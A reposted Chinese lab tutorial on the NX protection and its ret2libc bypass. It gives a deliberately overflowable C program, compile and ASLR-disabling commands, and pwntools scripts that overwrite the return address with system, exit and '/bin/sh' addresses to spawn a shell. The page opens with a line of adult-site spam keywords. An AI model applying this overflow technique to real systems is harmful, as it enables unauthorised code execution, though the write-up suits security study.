日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

NX机制及绕过策略-ret2libc

發(fā)布時間:2023/12/1 编程问答 51 豆豆
生活随笔 收集整理的這篇文章主要介紹了 NX机制及绕过策略-ret2libc 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

程序:
1.c

#include <stdio.h> void exploit() {system("/bin/sh"); } void func() {char str[0x20];read(0,str,0x50); } int main() {func();return 0; }

0x01 NX介紹

溢出攻擊的本質在于馮·諾依曼計算機模型對數據和代碼沒有明確區(qū)分這一先天性缺陷。因為攻擊者可以將代碼放置于數據區(qū)段,轉而讓系統(tǒng)去執(zhí)行。

NX緩解機制開啟后,使某些內存區(qū)域不可執(zhí)行,并使可執(zhí)行區(qū)域不可寫。示例:使數據,堆棧和堆段不可執(zhí)行,而代碼段不可寫。

2. 編譯

gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

沒有使用 -z execstack ,所以數據所在內存頁標識為不可執(zhí)行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執(zhí)行指令,此時CPU就會拋出異常,而不是去執(zhí)行惡意指令。

關閉ASLR

echo 0 > /proc/sys/kernel/randomize_va_space


我們用下面的程序執(zhí)行獲取權限,將會報錯(我試了,這里就不貼圖了),因為開啟了NX保護機制。這是關閉NX獲取權限的,我寫在這篇文章上了:
https://blog.csdn.net/qq_41683305/article/details/105014197

from pwn import * p=process('./nx') offset = 0x28+0x4 payload ='a'*offset+p32(0x8049172) p.sendline(payload) p.interactive()

0x03 原因

運行起nx,并保持運行狀態(tài),新打開一個終端,輸入ps -a,查看nx的pid,然后執(zhí)行cat /proc/52799/maps

發(fā)現stack不可以執(zhí)行,我們的shellcode不可以執(zhí)行了

0x04 ret2libc

ret2libc即控制函數執(zhí)行l(wèi)ibc中的函數,通常是返回至某個函數的plt處或者函數的具體位置(即函數對應的got表項的內容)。
一般情況下,我們會選擇執(zhí)行system("/bin/sh"),在不存在ASLR(地址隨機化)的情況下,可以直接通過調試獲得system的函數地址以及“/bin/sh”的地址 。

布局完成后,返回地址return_addr被覆蓋為libc文件里的system函數地址,當運行到esp位置時,會跳轉到system中執(zhí)行,同時,esp指向esp+4,這時對system來說,它內部的ret(返回地址)執(zhí)行時esp指針還是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函數的返回地址,而esp+8則是它的參數

注:對于不想使程序崩潰,可以將esp+4的覆蓋為exit函數的地址

0x06 找地址

先執(zhí)行start,運行我們的程序,然后輸入下圖內容,找到system和exit地址

接著找/bin/sh地址

我用的是第一個地址,成功了,后面兩個我沒有嘗試
三個地址都找到了,修改我們的poc程序:
1.py

# -*- coding: utf-8 -*- from pwn import * p=process('./nx') offset = 0x28+0x4 payload ='a'*offset+p32(0xf7e13660) payload+=p32(0xf7e066f0) payload+=p32(0x56557008) p.sendline(payload) p.interactive()

接著執(zhí)行,成功獲取權限

0x08 總結

Ret2Libc雖然把數據放在了不具備可執(zhí)行權限的棧上,但成功執(zhí)行了shellcode,這是因為只是把輸入數據當做純數據來間接劫持程序的執(zhí)行流。

這個程序的成功執(zhí)行得利于關閉ASLR,system和exit函數的地址才能固定下來。我們構造poc才方便很多。

ret2libc的精髓之處在于,把ret addr修改成libc庫中的函數地址,并且構造了system函數的參數。對于DEP防御來說,你不讓我執(zhí)行我的代碼,我就利用你的函數達到我的目的。這邊是面向返回編程的設計思路。

參考:

https://www.jianshu.com/p/c90530c910b0
https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

總結

以上是生活随笔為你收集整理的NX机制及绕过策略-ret2libc的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。